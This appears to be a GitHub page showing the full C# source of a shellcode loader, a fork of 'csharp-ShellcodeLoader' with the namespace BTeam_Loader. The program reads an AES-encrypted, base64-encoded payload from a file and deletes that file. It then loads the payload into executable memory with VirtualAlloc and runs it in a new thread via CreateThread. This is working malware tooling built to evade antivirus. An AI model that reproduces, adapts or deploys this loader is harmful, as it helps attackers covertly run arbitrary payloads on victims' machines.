forked from Ormicron/csharp-ShellcodeLoader
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
125 lines (117 loc) · 4.44 KB
/
Copy pathProgram.cs
File metadata and controls
125 lines (117 loc) · 4.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using System.Security.Cryptography;
namespace BTeam_Loader
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("The Path cannot be empty");
Environment.Exit(0);
}
if (!File.Exists(args[0]))
{
Console.WriteLine("FIle Not Exists.");
Environment.Exit(0);
}
using (StreamReader fileSR = new StreamReader(args[0]))
{
String line = null;
String data = null;
while((line = fileSR.ReadLine()) != null)
{
data += line;
}
fileSR.Close();
String secret = data.Split(':')[0];
byte[] Key = System.Text.Encoding.UTF8.GetBytes(data.Split(':')[1]);
byte[] Iv = System.Text.Encoding.UTF8.GetBytes(data.Split(':')[2]);
String resultDecrypt = DecryptAesTo_String(secret,Key,Iv);
byte[] wzqadgmywan = Convert.FromBase64String(resultDecrypt);
File.Delete(args[0]);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)wzqadgmywan.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(wzqadgmywan, 0, (IntPtr)(funcAddr), wzqadgmywan.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfao = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfao, 0, ref threadId);
WaitForSingleObject(hThread,0xFFFFFFFF);
}
/*
for (int i = 0; i < args.Length; i++)
{
Console.WriteLine(args[i]);
Console.ReadKey();
}
*/
}
static String DecryptAesTo_String(String cipherTextBase, byte[] Key, byte[] Iv)
{
byte[] cipherText = Convert.FromBase64String(cipherTextBase);
String plaintext = null;
using (Aes aesAlg = Aes.Create()) {
aesAlg.Key = Key;
aesAlg.IV = Iv;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key,aesAlg.IV);
using(MemoryStream msDecrypt = new MemoryStream(cipherText))
{
using(CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using(StreamReader srDecrypt = new StreamReader(csDecrypt))
{
plaintext = srDecrypt.ReadToEnd();
}
}
}
}
return plaintext;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
}